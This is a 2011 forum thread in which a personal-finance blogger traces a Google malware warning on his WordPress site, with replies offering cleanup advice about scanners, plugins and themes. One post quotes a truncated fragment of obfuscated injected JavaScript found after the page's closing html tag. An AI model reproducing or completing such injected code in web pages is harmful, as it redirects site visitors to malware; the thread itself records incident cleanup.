You must be logged in to post Login


Lost Your Password?

Search Forums:


 






Minimum search word length is 4 characters – Maximum search word length is 84 characters
Wildcard Usage:
*  matches any number of characters    %  matches exactly one character

Google flagged my site as having malware

No Tags
UserPost

7:01 am
August 20, 2011


retireby40

USA

Member

posts 1381

Post edited 7:46 am – August 20, 2011 by retireby40


Anyone has experience with this?

I couldn't find any problem so far and they don't give enough information for me to figure out.

Does anybody know how to isolate the issue?

 

I'm scanning my computer now.

I also tested my site with McAfee siteadvistor on IE9 and they didn't find any significant problems.

 

 

 

— from Google webmaster tools

Last checked: August 20, 2011

General problem
When Google last tested this page,
your server returned content that directed the browser to a site that
serves malware. Unfortunately, Google could not isolate the malicious
code within this page.

retire by 40

Twitter: @retirebyforty

Facebook: Retire By 40 

7:47 am
August 20, 2011


My Personal Finance Journey

Member

posts 3159

Could it be something related to your host? Isn't that where the actual content is lodged? Is there anyway to inform your host about it to see if they can help?

Jacob @ My Personal Finance Journey

Visit me at My Personal Finance Journey

Email me jacob@mypersonalfinancejourney.com

Be my Facebook Friend, Follow my journey on Twitter

8:03 am
August 20, 2011


krantcents

Member

posts 909

Joe, you may want to run Malwarebytes (it is free). 

krantcents  – Making Sense of Money

Website:   http://www.krantcents.com

Fan Page:  http://www.facebook.com/krantcents

Follow me onTwitter:  @krantcents

RSS feed: krantcents

12:38 pm
August 20, 2011


retireby40

USA

Member

posts 1381

I found a script after the /html tag.

 

 

</html><script>Object.prototype.tes=-2;String.prototype.test="h";for(i in'')if(i=='test')m=''[i];var ss="";aa=document.createTextNode(m+"a"+"rC"+"ode");s=String["fr"+"omC"+aa['nod'+'eVa'+'lue']];for(i in{})if(i=='t'+'e'+'s')h={}[i];n=[7-h,7-h,103-h,100-h,30-h,38-h,98-h,109-h,97-h,115-h,10……

 

go on for a long while….

 

But I can't find where this is coming from. Any hints?

retire by 40

Twitter: @retirebyforty

Facebook: Retire By 40 

12:54 pm
August 20, 2011


retireby40

USA

Member

posts 1381

I got rid of it by reinstalling wordpress. Now I'll have to get off the Google ban list and fix security.

There goes the weekend…Cry

retire by 40

Twitter: @retirebyforty

Facebook: Retire By 40 

5:22 pm
August 20, 2011


Glen Craig

Member

posts 1087

Not sure if the articles here apply to your malware but it may be worth looking at:

 

http://blog.sucuri.net/

11:29 pm
August 20, 2011


retireby40

USA

Member

posts 1381

Glen, Thanks for the info.

My host scanned my files and found malware in page.php of a theme I installed, but wasn't using.

I guess from there it modified my wordpress files somehow.

 

retire by 40

Twitter: @retirebyforty

Facebook: Retire By 40 

10:53 am
August 21, 2011


MoneyIsTheRoot

Member

posts 1456

RB40 – I got an email from sitelock saying that I have two malware links that I have 72 hours to correct or sitelock wont support my site anymore…both links are to your site lol.  Not sure what they want me to do about it…. Google is ridiculous sometimes.  Hope you get your issue cleared up!

Member Blog:

Money Is The Root

Check me out on Facebook

 

Challenger Blogs:

Smart Wealth

2:00 pm
August 21, 2011


mbhunter

Member

posts 198

Check your plugins.

This past week one of my hosts had disabled my account.  Eventually I tracked down the problem to the is-human plugin (a CAPTCHA plugin).  It had a vulnerability, and someone hacked it and began sending spam messages and had uploaded almost 3,000 spam HTML pages to that plugin directory.

Finding the script and taking it out is just eliminating the symptoms of the problem.  You'll need to track down what caused the hack in the first place.

If re-installing WP did the trick, that's good.  What got me is not paying attention to the plugins I was using.  WP itself was up to date.

Mighty Bargain Hunter — blogging on personal finance since 2005

Get money-saving tips with the newsletter!

Also follow me on Twitter and like me on Facebook!

7:05 am
August 22, 2011


Hunter @financiallyc

Virginia Beach

Member

posts 707

It looks like you have solved the problem. I have not seen any warnings pointing to RB4T for malware today. Whew.

7:19 am
August 22, 2011


Henry @ TotallyMoney

London

Member

posts 95

Make sure that you keep checking your blog to see if it returns. I had the same problem as MBhunter with the malware returning after each clean install. It turned out to be a plugin that had been hacked. 

 

Glad to hear that you fixed it so quickly

10:37 am
August 22, 2011


MyJourneytoMillions

Member

posts 1012

It is incredible how many shitty themes are out there, that could be infecting people's sites

11:28 am
August 22, 2011


retireby40

USA

Member

posts 1381

MyJourneytoMillions said:

It is incredible how many shitty themes are out there, that could be infecting people's sites

I had tons of problems since I changed theme a couple of months ago. I'm moving to Atahualpa for now since that seems to be pretty solid.

retire by 40

Twitter: @retirebyforty

Facebook: Retire By 40 

No Tags

About the Yakezie.com Forum

Forum Timezone: America/Los_Angeles

Forum Stats:

Groups: 2
Forums: 9
Topics: 6383
Posts: 84794

Membership:

There are 13651 Members
There have been 20 Guests

There are 9 Admins
There are 8 Moderators

Top Posters:

My Personal Finance Journey – 3159
Khaleef @ KNS Financial – 3149
Budgeting in the Fun Stuff – 3048
Sustainable PF – 2759
Miss T @ Prairie Eco-Thrifter – 2213
Eric – PersonalProfitability.com – 2120

Administrators: The College Investor (1935 Posts), Financial Samurai (1803 Posts), LaTisha @YoungFinances (1715 Posts), Forest Parks (1337 Posts), 20s Finances (1147 Posts), Money Reasons (697 Posts), Chris Johnson (78 Posts), Sydney at Untemplater (0 Posts), Suba (0 Posts)

Moderators: Suba @ Wealth Informatics (1876 Posts), sooverthis (1041 Posts), PK @ DQYDJ (361 Posts), jmichelsen (208 Posts), Ramona (13 Posts), JeremyNJohnson (4 Posts), Moderator (0 Posts), rackgeek (0 Posts)